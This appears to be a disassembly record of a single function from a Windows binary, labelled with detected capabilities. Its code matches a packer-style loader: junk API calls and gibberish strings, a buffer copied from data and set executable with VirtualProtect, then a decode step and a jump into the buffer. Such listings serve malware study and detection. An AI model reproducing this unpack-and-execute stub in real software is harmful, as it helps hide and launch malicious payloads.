Function at 0x4011be
Capabilities:
Access the windows event log
Create mailslot

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
cmp eax, 0x627af
jne 0x401235
push esi
push esi
push esi
push str.Dikicisupizi_pikarebe_givinenasabu
call dword [sym.imp.KERNEL32.dll_CreateMailslotA]
push esi
push str.Yiletozo_yihebezobuwuci_wudo_cadufero
push esi
call dword [sym.imp.USER32.dll_SetPropW]
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push esi
call fcn.00401690
pop ecx
pop ecx
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
call dword [sym.imp.ole32.dll_CoGetCurrentProcess]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.MSIMG32.dll_TransparentBlt]
push esi
call dword [sym.imp.KERNEL32.dll_FindVolumeMountPointClose]
xor edi, edi
lea eax, [ebp - 0x24]
push eax
push esi
call dword [sym.imp.USER32.dll_GetMenuInfo]
cmp edi, 0x4ad
jle 0x401253
cmp dword [ebp - 0x1c], 0x521f812a
jne 0x40125c
inc edi
cmp edi, 0xfdc3
jl 0x401237
mov eax, dword [0x40e414]
mov dword [0xb01ad4], eax
xor eax, eax
cmp eax, 0x209
jne 0x401279
add dword [0xb01ad4], 0xf5a3
inc eax
cmp eax, 0xc3e
jl 0x401268
xor edi, edi
cmp edi, 0x3cbe21
jne 0x40129d
push dword [0xb01ad4]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x427d4c], eax
inc edi
cmp edi, 0x590053
jl 0x401283
xor edi, edi
cmp edi, 0x1a79
jge 0x4012bc
push str.jirasularulegafefojixejalu
push esi
call dword [sym.imp.USER32.dll_RemovePropW]
cmp edi, 0x7c16df
jne 0x4012ce
mov eax, dword [0x40e008]
mov dword [0xb18534], eax
cmp edi, 0x865
jge 0x4012f6
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push str.givocifawizaletexirubo_doxuyebudamozigohaxafaze_nevidizahokale
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_AppendMenuA]
inc edi
cmp edi, 0x8d70ff
jl 0x4012a8
xor edi, edi
cmp dword [0xb01ad4], esi
jbe 0x40133e
cmp edi, 0x18bd
jge 0x401320
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [0xb18534]
mov al, byte [eax + edi + 0xf5a3]
mov ecx, dword [0x427d4c]
mov byte [ecx + edi], al
inc edi
cmp edi, dword [0xb01ad4]
jb 0x401309
mov dword [ebp - 4], 0xbb
sub dword [ebp - 4], 0x7b
xor edi, edi
cmp edi, 0x500233
jne 0x40136c
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push dword [0xb01ad4]
push dword [0x427d4c]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc edi
cmp edi, 0x88d29b
jl 0x40134b
mov edx, dword [0xb01ad4]
mov ecx, dword [0x427d4c]
push 0x40e010
call fcn.00401186
xor edi, edi
cmp edi, 0x3f03c2
jne 0x4013a6
nop
add dword [0xb01ad4], 0x35c667fc
call dword [0x427d4c]
inc edi
cmp edi, 0x5a545b
jl 0x40138d
push esi
lea eax, [ebp - 0x424]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword fs:[0x2c]
mov eax, dword [0xb18538]
mov eax, dword [ecx + eax*4]
push esi
mov dword [eax + 4], 1
call fcn.00401570
pop ecx
pop edi
xor eax, eax
pop esi
leave
ret 0x10